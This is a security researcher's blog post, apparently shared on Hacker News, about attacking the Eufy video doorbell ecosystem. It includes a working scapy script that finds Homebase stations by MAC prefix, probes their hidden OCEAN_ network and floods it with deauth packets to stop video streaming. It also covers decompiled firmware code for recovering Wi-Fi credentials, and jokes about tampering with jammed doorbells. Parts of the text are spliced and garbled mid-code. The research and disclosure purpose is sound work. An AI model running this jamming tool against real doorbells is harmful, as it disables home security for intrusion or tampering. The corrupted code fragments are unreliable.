Hacker News

From your doorbell to your home network

From your doorbell to your home network Dear Fellowlship, I am delighted to inform you that the owls have found the time to get back to hacking in their spare time. After this two-year hiatus, we are pleased to preach a new homily from this humble digital pulpit of ours. Please, take a seat and listen to the story. Table of contents This article is going to be significantly longer than what I usually write, so this table of contents allows you to jump straight to the section that interests you most and skip the rest. Although, naturally, this little owl would love for you to read the whole thing. - 0x00 Preamble. Introduction about how this research started. You can skip it freely if you are only interested in technical details. - 0x01 Introduction to the ecosystem. Brief explanation about the product, its components and how they are related. - 0x02 Jamming. You can remotely disconnect the doorbell from the “management” network avoiding it to stream video/audio. A crappy Proof of Concept is provided. - 0x03 Soundwave sync protocol. Reverse Engineering the soundwave protocol used to sync the doorbell with the homebase. - 0x04 Extracting and decrypting OCEAN_XXXXXX creds from memory dump. Recovered and revere enginering of the encrypted configuration file that contains the credentials used by the doorbell to connect to the hidden network. 0x00 Preamble Last June I had the opportunity to give a talk at the EuskalHack congress (my talk was a simple 101 talking about ad-joined linux environments). I brought my brother-in-law along because he was finishing his master’s degree in computer science (apparently, besides the bachelor’s degree, they now have to complete a qualifying master’s program), and I wanted to show him a bit of the hacking world and try to spark some interest. And I got lucky: Pepelux’s talk on how he pwned a video intercom really piqued his interest. So, I decided to capitalize on that interest and suggest trying to hack some gadget over the summer as a learning exercise. It took me a couple of weeks to settle on a target, until one day, while walking through my wonderful city, I noticed the sheer number of video doorbells there are. Unfortunately, my city is infected by that modern-day cancer: unchecked tourism and the destruction of local community life caused by short-term tourist rentals. It is a tumor that grows and causes necrosis in the social fabric of our neighborhoods. So I did the obvious thing… figure out the most common model used by them and try to pwn it :) That’s how I set my sights on the “Eufy Security Video Doorbell” ecosystem. 0x01 Introduction to the ecosystem I bought this “Eufy Security Video Doorbell” from internet. As can be seen in the box it is composed by two parts: the “Homebase Station 2” and the “Doorbell” itself. The Homebase works as a central hub and it is what the user connects to the intertubes (via wifi or ethernet cable), meanwhile the video doorbell is placed at your door. The doorbell (and I guess the rest of products related to Eufy) communicates with the Homebase station through a hidden wifi. I almost forgot that the box also contained a beautiful sticker to tell your neighbours you are recording them 24/7: The Homebase Station: The Doorbell: Everything is controlled from their mobile App. It let you communicate with the Homebase and add new devices, communicate with the doorbell, and all the typical stuff you would expect. There was a USENIX talk about this same ecosystem called Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols where the authors focused on low entropy used to generate the pre-shared key (PSK) used in the hidden network that the Homebase uses to manage the devices (and also performs a deep research on the P2P protocol). This research was done in 2023 and Eufy changed a lot of stuff (for example the PSK is not 8 bytes anymore, we will talk about it later) but something it still true: the hidden network is called OCEAN_XXXXXX, being the suffix the last 24 bits of Homebase’s MAC. The following diagram created with my 4 years old desing skills helps to visualize the role of each element: Because the doorbell (and I guess other Eufy devices) must communicate to internet at some point, the Homestation acts as a gateway and if you connect (we will discuss about it later) to that hidden network you can browse freely. Also it gives you access to any other element in the network (for example, your router web interface). 0x02 Jamming The most obvious thing I thought was… if this uses standard WPA2 without any kind of protection… would it be vulnerable to deauth packets? The answer is: yes, of course. You can remotely flood it with deauth packets and make it disconnect from the hidden network, so the video/audio is recorded locally but not streamed to the Homebase/mobile app, making it an interesting way to physically approach to it and apply a wellness massage with a stone. Or to open it, dump its memory, and close it so nobody knows you manipulated it. Obvious disclaimer: I am not inciting the commission of any act of vandalism, I am just talking about Threat Modelling. Identify the presence of Homebases is easy because the first 24 bits of its MAC are known (both, the doorbell and the homebase uses the same prefix): 90:bf:d9 . We can dust off an old Alfa wifi anntena, connect it to a battery-powered Raspberry Pi, and walk around to locate beacons from stations with a MAC address matching the one we are looking for. Then grab what channel is using and send a probe request with OCEAN_XXXXXX building it with the last 24 bits of the seen MAC. If we get a probe response it means we got a Homebase and we can send broadcast deauth packets to that network. A crappy script that summarizes this process can be found below: #!/usr/bin/env python3 from scapy.all import * from scapy.layers.dot11 import Dot11, Dot11Elt from scapy.layers.dot11 import RadioTap import subprocess, time ch = None ssid = None bssid = None iface = "wlan1" whale_mac = None whale_ssid = None def banner(): print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n") print(''' ==| ==| )__) | )) )) )) )) )))) _ )__))))\ \---|/||-\\--- ^^^^^^^^^\ oo oo oo oo /^^^^^^^ ~^^^^ ~~~~^^^^^^~~~~~ ^^ ~^^~ ~^~ ~^ ~^ ~^ ~~~^^~ ''') def beacon_handler(pkt): global ch global ssid global bssid if ch is not None: return if not pkt.haslayer(Dot11): return d = pkt[Dot11] if d.type != 0 or d.subtype not in (5,8): return if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9": cur = pkt while True: cur = cur.payload if cur is None or cur == NoPayload: return if isinstance(cur, Dot11Elt) and cur.ID == 3: if len(cur.info) >= 1: ch = cur.info[0] ssid = "OCEAN" + d.addr2.upper()[8:].replace(":","") bssid = d.addr2.upper() break if ch != None: print("[] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!") return else: return else: return def set_channel(mon_iface): subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def build_req(): global ssid global bssid rt = RadioTap() dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid) probe_req = ( rt / dot11 / Dot11Elt(ID=0, info=ssid.encode()) / Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) / Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) / Dot11Elt(ID=3, info=bytes([2])) / Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) / Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18])) ) cur = probe_req while True: cur = cur.payload if cur is None or cur == NoPayload: break if isinstance(cur, Dot11Elt) and cur.ID == 3: cur.info = bytes([ch]) break return probe_req def handle_probe_resp(pkt): global whale_mac global whale_ssid if whale_mac != None: return if not pkt.haslayer(Dot11): return d = pkt[Dot11] if d.type == 0 and d.subtype == 5: if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37": whale_mac = d.addr2.upper() cur = pkt while True: cur = cur.payload if isinstance(cur, Dot11Elt) and cur.ID == 0: whale_ssid = cur.info.decode("utf-8", errors="ignore") break print("[] Our lookout confirmed it! It's a big one!!") print(''' .-------------'```'----....,, , | ''''-.,._ .'( | '--._.' ) | '-. 150Hz) that BatchDrake spotted in his brief analysis. From FUN_000b54cc we can see how it choose the “window frame”: void FUN_000b54cc(int param_1,undefined4 param_2) { int iVar1; void *pvVar2; uint uVar3; undefined4 uVar4; int iVar5; uint in_fpscr; double dVar6; dVar6 = (double)VectorSignedToFloat(param_2,(byte)(in_fpscr >> 0x16) & 3); if (param_1 == 2) { uVar4 = 2; } else { uVar4 = 1; } iVar1 = (int)(longlong)((dVar6 * 1024.0) / 44100.0); uVar3 = iVar1 - (iVar1 >> 0x1f) & 0xfffffffe; if ((int)uVar3 > 8) * 2) ^ uVar1 > 1 , if it is “1” (as seen in if (iVar2 == 1) ) then it determines the encoded data is “wifi” type. If that’s the case, then FUN_000b6514 is called: undefined4 FUN_000b6514(undefined4 param_1,undefined1 *param_2,int param_3,int param_4) { uint uVar1; uint uVar2; int iVar3; int iVar4; int local_24 [2]; uVar1 = FUN_000c43d0(*param_2); uVar2 = FUN_000c43d0(param_2[1]); local_24[0] = 0; iVar3 = FUN_000c43d0(param_2); if (iVar3 >> 1 != 1) { / WARNING: Subroutine does not return */ __assert("vr_decodeInfoType(_data, _dataLen) == IT_SSID_WIFI", "/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1ef); } iVar4 = ((uVar1 & 1) > 1) == IT_SSID_WIFI); // SSID length is encoded in first two bytes int ssidLen = (((header0 & 1) ssid[ssidLen] = '\0'; out->ssidLength = ssidLen; // Decode password int passLen = decodePayload( data + consumed + 2, dataLen - (consumed + 2), &consumed, out->password, -1, 0x50); out->password[passLen] = '\0'; out->passwordLength = passLen; return true; } Ding ding ding! Jackpot!! So this function decode (with the help of FUN_000b5e88 that I called decodePay

Comments

No comments yet. Start the discussion.